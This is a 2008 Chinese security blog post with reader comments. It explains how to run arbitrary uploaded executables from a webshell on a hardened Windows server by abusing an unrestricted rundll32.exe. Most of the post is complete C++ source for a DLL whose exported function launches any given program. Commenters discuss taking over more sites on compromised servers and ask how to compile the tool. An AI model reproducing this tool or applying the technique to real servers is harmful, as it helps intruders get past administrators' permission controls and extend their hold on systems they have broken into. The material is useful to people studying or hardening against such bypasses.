|
|
 |
| 艰难的在webshell中执行程序 |
| Submitted by 云舒 on 2008, November 13, 11:56 PM. 技术
|
摘要:一个web shell,系统权限设置得很好,常用的exe都无权执行。可写目录传上去的exe文件,也没有执行权限。最终发现设置权限的时候漏掉了rundll32.exe,如是就写了这个个代码。
测试开始的时候,PHP似乎没权执行命令。本来打算用php本身的一些溢出问题,溢出一个低权限的shell来的。后来意外发现使用proc_open函数可以执行一些内部命令,只是外部命令和目录都做了比较严格的权限设置而已。于是就测试可能可以利用的外部命令,最终测试到了rundll32.exe程序,终于没有返回权限不足。写一个dll,给rundll32调用,就可以间接的执行自己上传的任意exe文件了。也许是windows权限的一点小问题?毕竟使用rundll32间接执行的exe,身份还是php shell的guest权限,虽然调用者变了——真正原因有待进一步研究。
-
/*************************************************************************************************
-
* 遇到一个服务器权限设置很畸形,系统exe基本都无法执行,自己上传的exe到可写目录,也不能执行。
-
* 遗憾的是,他们漏掉了rundll32.exe这个文件的权限,如是……
-
* code by wustyunshu###hotmail.com, 2008,11,13,23:20
-
*************************************************************************************************/
-
-
#include <stdio.h>
-
#include <stdlib.h>
-
#include <windows.h>
-
-
// dll入口
-
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
-
{
-
return true;
-
}
-
-
void RunExe( HWND hwnd, HINSTANCE hinst, LPSTR szCmdLine, int nCmdShow)
-
{
-
if( szCmdLine == NULL )
-
{
-
return;
-
}
-
-
DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, NULL, 0);
-
wchar_t *wszCmdLine = new wchar_t[dwNum];
-
if(!wszCmdLine)
-
{
-
return;
-
}
-
MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, wszCmdLine, dwNum);
-
-
int argc;
-
LPWSTR *argv = CommandLineToArgvW( wszCmdLine, &argc );
-
-
wchar_t Cmd[256] = { 0 };
-
wchar_t Args[1024] = { 0 };
-
-
//strncpy( Cmd, argv[0], sizeof(Cmd)-1 );
-
wcsncpy( Cmd, argv[0], sizeof(Cmd)-1 );
-
if( argc > 1 )
-
{
-
for( int index = 1; index < argc; index ++ )
-
{
-
wcscat( wcscat( Args, L" " ), argv[index] );
-
}
-
}
-
-
STARTUPINFO si;
-
memset( (void *)&si, 0, sizeof(STARTUPINFOA) );
-
GetStartupInfoW( &si );
-
-
//新进程输入输出重定向
-
si.cb = sizeof( si );
-
si.dwFlags = STARTF_USESHOWWINDOW;
-
//si.wShowWindow = SW_HIDE;
-
-
PROCESS_INFORMATION processInfo;
-
memset( (void *)&processInfo, 0, sizeof(PROCESS_INFORMATION) );
-
-
//建立进程
-
CreateProcessW( Cmd, Args, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo );
-
-
Sleep( 60 * 1000 );
-
TerminateProcess( processInfo.hProcess, 0 );
-
}
-
|
|
|
| 很好很强大 |
Post by xioami on 2008, November 14, 8:02 AM
|
云爷 也好这口啊~
有机会多请教 最近遇到的麻烦主机太多了
望不惜赐教 |
Post by nuke on 2008, November 14, 8:51 AM
|
请教啥,我也没搞定,只是能执行一些exe了而已……
不搞了,呵呵,懒得费脑细胞啊。 |
Post by 云舒 on 2008, November 14, 9:17 AM
|
| 云哥,我想用C# 修复被Hook的SSDT ...给我推荐两本书嘛。 |
Post by Wayin on 2008, November 14, 9:45 AM
|
| C#写不了驱动,想恢复就去看C,或者汇编。 |
Post by 云舒 on 2008, November 14, 10:23 AM
|
| 这段代码没有隐藏窗口,也没有重定向输出,是本地测试用的。 |
Post by 云舒 on 2008, November 14, 10:52 AM
|
| 现在的管理员的水平提高了我们也得提高~ |
Post by winsyk on 2008, November 14, 12:36 PM
|
| 好,又给我学了, |
Post by 娃娃 on 2008, November 14, 1:10 PM
|
| rundll32.exe 99%的人不会做权限设置 |
Post by 111 on 2008, November 14, 1:26 PM
|
| 谢谢舒哥的回复。 |
Post by Wayin on 2008, November 15, 8:17 AM
|
| 狂顶云舒MM! |
Post by kxlzx on 2008, November 15, 11:07 AM
|
| 我好多次碰见每次拿下一个WEBSHELL的时候发现CMD执行不了!自己上传的也没有执行的权限!WScript.Shell有在!但就是没权限!又没装其他可利用的第三方软件!即便好不容易找到了可是也跳转不了!更别说像碰到你这样执行不了EXE的情况!可以利用rundll32.exe的前提也要能执行命令!我也想多多拿下这个服务器的站点!看下是否可以利用SQL!还有其他毕竟实用的技巧 |
Post by 冷漠 on 2008, November 20, 9:07 PM
|
| 为什么编译不通过呢 怪事情! |
Post by aa on 2008, December 10, 10:46 PM
|
| VC6.0下面 |
Post by aa on 2008, December 10, 10:46 PM
|
| 错误贴出来看看,我没有VC6,也说不准会不会是blog贴代码的问题。 |
Post by 云舒 on 2008, December 10, 11:45 PM
|
| 弱弱问下 这个代码用什么来编译! |
Post by zvz on 2008, December 15, 10:57 PM
|
有人系统上装了SSM,使用白名单。但是rundll32频繁的被调用,有人偷懒就会允许执行。
现在最新版本白名单可以设置参数,这样的话完全可以让rundll也是只执行管理员允许的dll. |
Post by spark on 2009, February 6, 5:04 PM
|
| rundll32 使用rundll32间接执行的exe1.dll //为啥没反应呢,请问这个DLL文件应该怎么执行 |
Post by pt007 on 2009, February 19, 5:30 PM
|
|